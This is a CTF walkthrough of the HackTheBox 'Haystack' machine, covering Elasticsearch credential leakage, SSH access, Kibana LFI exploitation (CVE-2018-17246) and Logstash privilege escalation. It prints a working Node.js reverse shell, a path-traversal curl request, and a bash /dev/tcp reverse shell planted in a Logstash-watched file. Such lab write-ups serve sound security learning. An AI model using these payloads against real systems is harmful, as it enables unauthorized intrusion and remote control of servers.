> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox Writeup Haystack HackTheBox Easy Linux machine writeup covering ElasticSearch Enumeration, Information Leakage, Kibana Enumeration, Kibana Exploitation (CVE-2018-17246), with practical enumeration, exploitati {% embed url="" %} {% hint style="warning" %} **Skills**: * ElasticSearch Enumeration * Information Leakage * Kibana Enumeration * Kibana Exploitation (CVE-2018-17246) * Abusing Logstash (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (9200)

Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

## Analysis of Exposed Services ### Port 80 - Information Leakage **Extracting Metadata with ExifTool**

By analyzing the image found on the server with `strings`, we discover a base64 encoded string: `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

Once decoded, this string reveals the following message: *"the needle in the haystack is 'key'"*.

### Elasticsearch - Information Leakage #### Port 9200 hosts ElasticSearch version 6.4.2.

{% hint style="info" %} Elasticsearch is a real-time search and analytics engine used to quickly index and search large volumes of data. It integrates into the ELK stack to provide advanced data visualization and analysis capabilities. {% endhint %}

By accessing the `/_cat/indices?` URL, we get a list of indices with their UUIDs. To extract the content of an index, we use the following URL: `http://haystack.htb:9200//_search?pretty=true&size=1000`

**Data Filtering with Curl** Using the index `quotes` and filtering on the challenge keyword, relevant information is found: ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**Decoding Base64 Encoded Strings** We get two base64 encoded strings which, when decoded, reveal the identifying information: ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**User:** `security`/ **Password:** `spanish.is.key` ### SSH connection With the retrieved credentials, we connect to the target machine via SSH and access the user: ```bash ssh security@10.10.10.115 ```

### Flag user.txt :)

**Once you have access to the Linux server, here are the commands to perform for terminal processing:** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **This will allow you to work much more efficiently and, above all, more comfortably.** ## Privilege Escalation : ### Kibana (Port Forwarding) **Step 1: Identifying Open Ports** First, we observe the open ports internally using the following command: ```bash netstat -nltp ``` We notice that the port **5601** catches our attention.

By performing a `curl` request on this port, we obtain an HTML page from Kibana: {% hint style="info" %} **Kibana** is an out-of-the-box data visualization dashboard software for Elasticsearch {% endhint %}

**Step 2: Port forwarding for access to Kibana** We will redirect the server's internal port **5601** to our local machine to access it via our browser. This redirection can be done via SSH with the following command: ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` This redirects the local port 5601 of the target machine to port 5601 of our own machine, allowing direct access

**Step 3: Checking Kibana version** By accessing `http://localhost:5601/api/status`, we observe the Kibana version number: **6.4.2**. This version is vulnerable to a **Local File Inclusion (LFI)** attack, identified as **CVE-2018-17246**.

### Kibana Exploitation (CVE-2018-17246) {% embed url="" %} **Step 4: Exploit the vulnerability** To exploit this vulnerability, we will create a JavaScript file to achieve a reverse shell. In the `/tmp` directory of the target machine, create a file named `rev.js` with the following code:

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

This script will establish a connection with your machine on port **443** to open a shell. **Step 5: Stream redirection to file** Then redirect the stream to the `/dev/shm/rev.js` file with the following command: ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **Step 6: Listen on port for reverse shell** On your machine, start a listener on port **443** to catch the reverse shell: ```bash nc -nlvp 443 ``` Once logged in, you will have a shell on the target machine, allowing privilege escalation.

## Abusing Logstash We search for all files accessible with the user `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

By accessing Logstash, we discover three configuration files: * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} In summary, Logstash runs a cron job that checks every 10 seconds if a file named `logstash_*` exists in the `/opt/kibana/` directory. If a matching file is found and contains a command with a specific input, in the form: {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

To exploit this vulnerability, we create a file named `logstash_exec` in the `/opt/kibana/` directory with the following content: ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` Next, we listen on port 4444, and gain root access.

### Flag root :)

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